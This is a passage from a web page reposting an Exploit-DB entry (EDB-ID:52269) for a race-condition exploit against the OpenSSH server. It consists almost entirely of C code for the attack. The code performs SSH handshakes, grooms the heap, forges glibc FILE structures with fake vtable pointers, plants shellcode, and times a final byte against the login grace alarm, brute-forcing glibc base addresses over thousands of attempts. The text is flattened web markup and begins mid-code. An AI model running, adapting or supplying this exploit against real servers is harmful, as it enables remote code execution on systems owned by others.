\\n”, argv[0]);
\n
exit (1);
\n
}<\/p>\n const char *ip = argv[1];
\n
int port = atoi (argv[2]);
\n
double parsing_time = 0;
\n
int success = 0;<\/p>\n
srand (time (NULL));<\/p>\n
\/\/ Attempt exploitation for each possible glibc base address
\n
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)\n
{
\n
uint64_t glibc_base = GLIBC_BASES[base_idx];
\n
printf (“Attempting exploitation with glibc base: 0x%lx\\n”,
\n
glibc_base);<\/p>\n
\/\/ The advisory mentions “~10,000 tries on average”
\n
for (int attempt = 0; attempt < 20000 && !success; attempt++)\n
{
\n
if (attempt % 1000 == 0)
\n
{
\n
printf (“Attempt %d of 20000\\n”, attempt);
\n
}<\/p>\n
int sock = setup_connection (ip, port);
\n
if (sock < 0)\n
{
\n
fprintf (stderr, “Failed to establish connection, attempt
\n
%d\\n”,
\n
attempt);
\n
continue;
\n
}<\/p>\n
if (perform_ssh_handshake (sock) < 0)\n
{
\n
fprintf (stderr, “SSH handshake failed, attempt %d\\n”,
\n
attempt);
\n
close (sock);
\n
continue;
\n
}<\/p>\n
prepare_heap (sock);
\n
time_final_packet (sock, &parsing_time);<\/p>\n
if (attempt_race_condition (sock, parsing_time, glibc_base))
\n
{
\n
printf (“Possible exploitation success on attempt %d with
\n
glibc ”
\n
“base 0x%lx!\\n”,
\n
attempt, glibc_base);
\n
success = 1;
\n
break;
\n
}<\/p>\n
close (sock);
\n
usleep (100000); \/\/ 100ms delay between attempts, as mentioned in
\n
the
\n
\/\/ advisory
\n
}
\n
}<\/p>\n
return !success;
\n
}<\/p>\n
int
\n
setup_connection (const char *ip, int port)
\n
{
\n
int sock = socket (AF_INET, SOCK_STREAM, 0);
\n
if (sock < 0)\n
{
\n
perror (“socket”);
\n
return -1;
\n
}<\/p>\n
struct sockaddr_in server_addr;
\n
memset (&server_addr, 0, sizeof (server_addr));
\n
server_addr.sin_family = AF_INET;
\n
server_addr.sin_port = htons (port);
\n
if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)\n
{
\n
perror (“inet_pton”);
\n
close (sock);
\n
return -1;
\n
}<\/p>\n
if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
\n
< 0)\n
{
\n
perror (“connect”);
\n
close (sock);
\n
return -1;
\n
}<\/p>\n
\/\/ Set socket to non-blocking mode
\n
int flags = fcntl (sock, F_GETFL, 0);
\n
fcntl (sock, F_SETFL, flags | O_NONBLOCK);<\/p>\n
return sock;
\n
}<\/p>\n
void
\n
send_packet (int sock, unsigned char packet_type, const unsigned char *data,
\n
size_t len)
\n
{
\n
unsigned char packet[MAX_PACKET_SIZE];
\n
size_t packet_len = len + 5;<\/p>\n
packet[0] = (packet_len >> 24) & 0xFF;
\n
packet[1] = (packet_len >> 16) & 0xFF;
\n
packet[2] = (packet_len >> 8) & 0xFF;
\n
packet[3] = packet_len & 0xFF;
\n
packet[4] = packet_type;<\/p>\n
memcpy (packet + 5, data, len);<\/p>\n
if (send (sock, packet, packet_len, 0) < 0)\n
{
\n
perror (“send_packet”);
\n
}
\n
}<\/p>\n
void
\n
send_ssh_version (int sock)
\n
{
\n
const char *ssh_version = “SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\\r\\n”;
\n
if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)\n
{
\n
perror (“send ssh version”);
\n
}
\n
}<\/p>\n
int
\n
receive_ssh_version (int sock)
\n
{
\n
char buffer[256];
\n
ssize_t received;
\n
do
\n
{
\n
received = recv (sock, buffer, sizeof (buffer) – 1, 0);
\n
}
\n
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));\n\n if (received > 0)
\n
{
\n
buffer[received] = ‘\\0’;
\n
printf (“Received SSH version: %s”, buffer);
\n
return 0;
\n
}
\n
else if (received == 0)
\n
{
\n
fprintf (stderr, “Connection closed while receiving SSH version\\n”);
\n
}
\n
else
\n
{
\n
perror (“receive ssh version”);
\n
}
\n
return -1;
\n
}<\/p>\n
void
\n
send_kex_init (int sock)
\n
{
\n
unsigned char kexinit_payload[36] = { 0 };
\n
send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));
\n
}<\/p>\n
int
\n
receive_kex_init (int sock)
\n
{
\n
unsigned char buffer[1024];
\n
ssize_t received;
\n
do
\n
{
\n
received = recv (sock, buffer, sizeof (buffer), 0);
\n
}
\n
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));\n\n if (received > 0)
\n
{
\n
printf (“Received KEX_INIT (%zd bytes)\\n”, received);
\n
return 0;
\n
}
\n
else if (received == 0)
\n
{
\n
fprintf (stderr, “Connection closed while receiving KEX_INIT\\n”);
\n
}
\n
else
\n
{
\n
perror (“receive kex init”);
\n
}
\n
return -1;
\n
}<\/p>\n
int
\n
perform_ssh_handshake (int sock)
\n
{
\n
send_ssh_version (sock);
\n
if (receive_ssh_version (sock) < 0)\n
return -1;
\n
send_kex_init (sock);
\n
if (receive_kex_init (sock) < 0)\n
return -1;
\n
return 0;
\n
}<\/p>\n
void
\n
prepare_heap (int sock)
\n
{
\n
\/\/ Packet a: Allocate and free tcache chunks
\n
for (int i = 0; i < 10; i++)\n
{
\n
unsigned char tcache_chunk[64];
\n
memset (tcache_chunk, ‘A’, sizeof (tcache_chunk));
\n
send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
\n
\/\/ These will be freed by the server, populating tcache
\n
}<\/p>\n
\/\/ Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
\n
for (int i = 0; i < 27; i++)\n
{
\n
\/\/ Allocate large chunk (~8KB)
\n
unsigned char large_hole[8192];
\n
memset (large_hole, ‘B’, sizeof (large_hole));
\n
send_packet (sock, 5, large_hole, sizeof (large_hole));<\/p>\n
\/\/ Allocate small chunk (320B)
\n
unsigned char small_hole[320];
\n
memset (small_hole, ‘C’, sizeof (small_hole));
\n
send_packet (sock, 5, small_hole, sizeof (small_hole));
\n
}<\/p>\n
\/\/ Packet c: Write fake headers, footers, vtable and _codecvt pointers
\n
for (int i = 0; i < 27; i++)\n
{
\n
unsigned char fake_data[4096];
\n
create_fake_file_structure (fake_data, sizeof (fake_data),
\n
GLIBC_BASES[0]);
\n
send_packet (sock, 5, fake_data, sizeof (fake_data));
\n
}<\/p>\n
\/\/ Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
\n
unsigned char large_string[MAX_PACKET_SIZE – 1];
\n
memset (large_string, ‘E’, sizeof (large_string));
\n
send_packet (sock, 5, large_string, sizeof (large_string));
\n
}<\/p>\n
void
\n
create_fake_file_structure (unsigned char *data, size_t size,
\n
uint64_t glibc_base)
\n
{
\n
memset (data, 0, size);<\/p>\n
struct
\n
{
\n
void *_IO_read_ptr;
\n
void *_IO_read_end;
\n
void *_IO_read_base;
\n
void *_IO_write_base;
\n
void *_IO_write_ptr;
\n
void *_IO_write_end;
\n
void *_IO_buf_base;
\n
void *_IO_buf_end;
\n
void *_IO_save_base;
\n
void *_IO_backup_base;
\n
void *_IO_save_end;
\n
void *_markers;
\n
void *_chain;
\n
int _fileno;
\n
int _flags;
\n
int _mode;
\n
char _unused2[40];
\n
void *_vtable_offset;
\n
} *fake_file = (void *)data;<\/p>\n
\/\/ Set _vtable_offset to 0x61 as described in the advisory
\n
fake_file->_vtable_offset = (void *)0x61;<\/p>\n
\/\/ Set up fake vtable and _codecvt pointers
\n
*(uint64_t *)(data + size – 16)
\n
= glibc_base + 0x21b740; \/\/ fake vtable (_IO_wfile_jumps)
\n
*(uint64_t *)(data + size – 8) = glibc_base + 0x21d7f8; \/\/ fake _codecvt
\n
}<\/p>\n
void
\n
time_final_packet (int sock, double *parsing_time)
\n
{
\n
double time_before = measure_response_time (sock, 1);
\n
double time_after = measure_response_time (sock, 2);
\n
*parsing_time = time_after – time_before;<\/p>\n
printf (“Estimated parsing time: %.6f seconds\\n”, *parsing_time);
\n
}<\/p>\n
double
\n
measure_response_time (int sock, int error_type)
\n
{
\n
unsigned char error_packet[1024];
\n
size_t packet_size;<\/p>\n
if (error_type == 1)
\n
{
\n
\/\/ Error before sshkey_from_blob
\n
packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
\n
“ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3”);
\n
}
\n
else
\n
{
\n
\/\/ Error after sshkey_from_blob
\n
packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
\n
“ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9”);
\n
}<\/p>\n
struct timespec start, end;
\n
clock_gettime (CLOCK_MONOTONIC, &start);<\/p>\n
send_packet (sock, 50, error_packet,
\n
packet_size); \/\/ SSH_MSG_USERAUTH_REQUEST<\/p>\n
char response[1024];
\n
ssize_t received;
\n
do
\n
{
\n
received = recv (sock, response, sizeof (response), 0);
\n
}
\n
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));\n\n clock_gettime (CLOCK_MONOTONIC, &end);\n\n double elapsed\n
= (end.tv_sec – start.tv_sec) + (end.tv_nsec – start.tv_nsec) \/ 1e9;
\n
return elapsed;
\n
}<\/p>\n
void
\n
create_public_key_packet (unsigned char *packet, size_t size,
\n
uint64_t glibc_base)
\n
{
\n
memset (packet, 0, size);<\/p>\n
size_t offset = 0;
\n
for (int i = 0; i < 27; i++)\n
{
\n
\/\/ malloc(~4KB) – This is for the large hole
\n
*(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);
\n
offset += CHUNK_ALIGN (4096);<\/p>\n
\/\/ malloc(304) – This is for the small hole (potential FILE structure)
\n
*(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);
\n
offset += CHUNK_ALIGN (304);
\n
}<\/p>\n
\/\/ Add necessary headers for the SSH public key format
\n
memcpy (packet, “ssh-rsa “, 8);<\/p>\n
\/\/ Place shellcode in the heap via previous allocations
\n
memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13,
\n
shellcode,
\n
sizeof (shellcode));<\/p>\n
\/\/ Set up the fake FILE structures within the packet
\n
for (int i = 0; i < 27; i++)\n
{
\n
create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)
\n
+ CHUNK_ALIGN (304) * i,
\n
CHUNK_ALIGN (304), glibc_base);
\n
}
\n
}<\/p>\n
int
\n
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
\n
{
\n
unsigned char final_packet[MAX_PACKET_SIZE];
\n
create_public_key_packet (final_packet, sizeof (final_packet),
\n
glibc_base);<\/p>\n
\/\/ Send all but the last byte
\n
if (send (sock, final_packet, sizeof (final_packet) – 1, 0) < 0)\n
{
\n
perror (“send final packet”);
\n
return 0;
\n
}<\/p>\n
\/\/ Precise timing for last byte
\n
struct timespec start, current;
\n
clock_gettime (CLOCK_MONOTONIC, &start);<\/p>\n
while (1)
\n
{
\n
clock_gettime (CLOCK_MONOTONIC, ¤t);
\n
double elapsed = (current.tv_sec – start.tv_sec)
\n
+ (current.tv_nsec – start.tv_nsec) \/ 1e9;
\n
if (elapsed >= (LOGIN_GRACE_TIME – parsing_time – 0.001))
\n
{ \/\/ 1ms before SIGALRM
\n
if (send (sock, &final_packet[sizeof (final_packet) – 1], 1, 0) <\n
0)
\n
{
\n
perror (“send last byte”);
\n
return 0;
\n
}
\n
break;
\n
}
\n
}<\/p>\n
\/\/ Check for successful exploitation
\n
char response[1024];
\n
ssize_t received = recv (sock, response, sizeof (response), 0);
\n
if (received > 0)
\n
{
\n
printf (“Received response after exploit attempt (%zd bytes)\\n”,
\n
received);
\n
\/\/ Analyze response to determine if we hit the “large” race window
\n
if (memcmp (response, “SSH-2.0-“, 8) != 0)
\n
{
\n
printf (“Possible hit on ‘large’ race window\\n”);
\n
return 1;
\n
}
\n
}
\n
else if (received == 0)
\n
{
\n
printf (
\n
“Connection closed by server – possible successful
\n
exploitation\\n”);
\n
return 1;
\n
}
\n
else if (errno == EWOULDBLOCK || errno == EAGAIN)
\n
{
\n
printf (“No immediate response from server – possible successful ”
\n
“exploitation\\n”);
\n
return 1;
\n
}
\n
else
\n
{
\n
perror (“recv”);
\n
}
\n
return 0;
\n
}<\/p>\n
int
\n
perform_exploit (const char *ip, int port)
\n
{
\n
int success = 0;
\n
double parsing_time = 0;
\n
double timing_adjustment = 0;<\/p>\n
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)\n
{
\n
uint64_t glibc_base = GLIBC_BASES[base_idx];
\n
printf (“Attempting exploitation with glibc base: 0x%lx\\n”,
\n
glibc_base);<\/p>\n
for (int attempt = 0; attempt < 10000 && !success; attempt++)\n
{
\n
if (attempt % 1000 == 0)
\n
{
\n
printf (“Attempt %d of 10000\\n”, attempt);
\n
}<\/p>\n
int sock = setup_connection (ip, port);
\n
if (sock < 0)\n
{
\n
fprintf (stderr, “Failed to establish connection, attempt
\n
%d\\n”,
\n
attempt);
\n
continue;
\n
}<\/p>\n
if (perform_ssh_handshake (sock) < 0)\n
{
\n
fprintf (stderr, “SSH handshake failed, attempt %d\\n”,
\n
attempt);
\n
close (sock);
\n
continue;
\n
}<\/p>\n
prepare_heap (sock);
\n
time_final_packet (sock, &parsing_time);<\/p>\n
\/\/ Implement feedback-based timing strategy
\n
parsing_time += timing_adjustment;<\/p>\n
if (attempt_race_condition (sock, parsing_time, glibc_base))
\n
{
\n
printf (“Possible exploitation success on attempt %d with
\n
glibc ”
\n
“base 0x%lx!\\n”,
\n
attempt, glibc_base);
\n
success = 1;
\n
\/\/ In a real exploit, we would now attempt to interact with
\n
the
\n
\/\/ shell
\n
}
\n
else
\n
{
\n
\/\/ Adjust timing based on feedback
\n
timing_adjustment += 0.00001; \/\/ Small incremental adjustment
\n
}<\/p>\n
close (sock);
\n
usleep (100000); \/\/ 100ms delay between attempts, as mentioned in
\n
the
\n
\/\/ advisory
\n
}
\n
}<\/p>\n
return success;
\n
}\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title OpenSSH server (sshd) 9.8p1 – Race Condition Exploit ID EDB-ID:52269 Type exploitdb Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,34,12,40,13,33,7,11,5],"class_list":["post-932","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-00","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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